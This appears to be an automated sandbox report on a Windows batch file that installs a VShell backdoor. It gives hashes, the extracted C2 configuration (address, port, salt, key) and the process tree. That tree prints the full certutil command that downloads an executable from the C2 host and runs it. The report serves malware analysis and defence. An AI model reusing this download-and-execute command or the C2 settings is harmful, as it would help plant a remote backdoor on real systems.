Analysis
- max time kernel
148s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 12:33
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target windows.bat
- Size 497B
- Sample260910-prfwqatblf
- SHA256 bb8abce491acd44e9caea78ae1c01b36ffb3ed285fc0ef0ee7c8e6d478312fca
- MD5 85dfd2a618bdbbdbe2091a81c4ede441
- SHA1 a3ec7c338c8afb7bffe8a183d4ce3e06e9419db1
- SHA512 808af3545ed3d74930b875ed1d08af32a8c04dd43506e7dde7243fff39747a15deec314fedb05198a4405090bcbe8811a46f1fd463c8aa19cb662fde8dae6ee4
- TLSH T13FF02ECCA43544B10F8BD813B8957195B05994D2CA619C08FCC121ED5E8C9E975EA6D7
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
ws://101.35.161.46
Attributes
-
port
9089
-
salt
tfasfasfas61341
-
type
ws
-
vkey
ccasdasdasdagzrr
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/3380-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 1544 certutil.exe 6 1544 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 3380 6f9e5697ws.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4696 cmd.exe 5960 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3732 WMIC.exe 3732 WMIC.exe 3732 WMIC.exe 3732 WMIC.exe 3380 6f9e5697ws.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3732 WMIC.exe Token: SeSecurityPrivilege 3732 WMIC.exe Token: SeTakeOwnershipPrivilege 3732 WMIC.exe Token: SeLoadDriverPrivilege 3732 WMIC.exe Token: SeSystemProfilePrivilege 3732 WMIC.exe Token: SeSystemtimePrivilege 3732 WMIC.exe Token: SeProfSingleProcessPrivilege 3732 WMIC.exe Token: SeIncBasePriorityPrivilege 3732 WMIC.exe Token: SeCreatePagefilePrivilege 3732 WMIC.exe Token: SeBackupPrivilege 3732 WMIC.exe Token: SeRestorePrivilege 3732 WMIC.exe Token: SeShutdownPrivilege 3732 WMIC.exe Token: SeDebugPrivilege 3732 WMIC.exe Token: SeSystemEnvironmentPrivilege 3732 WMIC.exe Token: SeRemoteShutdownPrivilege 3732 WMIC.exe Token: SeUndockPrivilege 3732 WMIC.exe Token: SeManageVolumePrivilege 3732 WMIC.exe Token: 33 3732 WMIC.exe Token: 34 3732 WMIC.exe Token: 35 3732 WMIC.exe Token: 36 3732 WMIC.exe Token: SeIncreaseQuotaPrivilege 3732 WMIC.exe Token: SeSecurityPrivilege 3732 WMIC.exe Token: SeTakeOwnershipPrivilege 3732 WMIC.exe Token: SeLoadDriverPrivilege 3732 WMIC.exe Token: SeSystemProfilePrivilege 3732 WMIC.exe Token: SeSystemtimePrivilege 3732 WMIC.exe Token: SeProfSingleProcessPrivilege 3732 WMIC.exe Token: SeIncBasePriorityPrivilege 3732 WMIC.exe Token: SeCreatePagefilePrivilege 3732 WMIC.exe Token: SeBackupPrivilege 3732 WMIC.exe Token: SeRestorePrivilege 3732 WMIC.exe Token: SeShutdownPrivilege 3732 WMIC.exe Token: SeDebugPrivilege 3732 WMIC.exe Token: SeSystemEnvironmentPrivilege 3732 WMIC.exe Token: SeRemoteShutdownPrivilege 3732 WMIC.exe Token: SeUndockPrivilege 3732 WMIC.exe Token: SeManageVolumePrivilege 3732 WMIC.exe Token: 33 3732 WMIC.exe Token: 34 3732 WMIC.exe Token: 35 3732 WMIC.exe Token: 36 3732 WMIC.exe Token: SeDebugPrivilege 3380 6f9e5697ws.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4696 wrote to memory of 5960 4696 cmd.exe 90 PID 5960 wrote to memory of 3732 5960 cmd.exe 91 PID 5960 wrote to memory of 1808 5960 cmd.exe 92 PID 4696 wrote to memory of 1544 4696 cmd.exe 94 PID 4696 wrote to memory of 3380 4696 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5960 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3732
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:1808
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://101.35.161.46:9089/?h=101.35.161.46&p=9089&t=ws&a=w64&stage=true" "C:\Users\Public\6f9e5697ws.exe"2⤵
- Downloads MZ/PE file
PID:1544
-
-
C:\Users\Public\6f9e5697ws.exe"C:\Users\Public\6f9e5697ws.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3380
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\6f9e5697ws.exe
- Size 4KB
- SHA256 8b68f0fec997439a687b5e04ee487db1a5d0ff68c6fcc5157b92ed9370ea646c
- MD5 3c78ddb21e4efeb7e78b7f5ddb78ce4b
- SHA1 85666d86e1d43500903b60b438d08234101bf3ff
- SHA512 18ba92a222e062e04b112839f75645085043f84fc5ce97bf7f5afc707e5fdbc86536e561db47cf2ecf1991e11e1454cc53f549b44805487f66900b092df4ee59
- SSDEEP 48:6IIF9BlQaexpeTgZf7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMpeOk0cF50uDxUOvXeg
- TLSH T11791C64170B989E7E85D85BF4D0FB8A1B919B40A41C483A64338A5953E3957BF47CB0E
- MD5 SHA1 SHA512 SSDEEP TLSH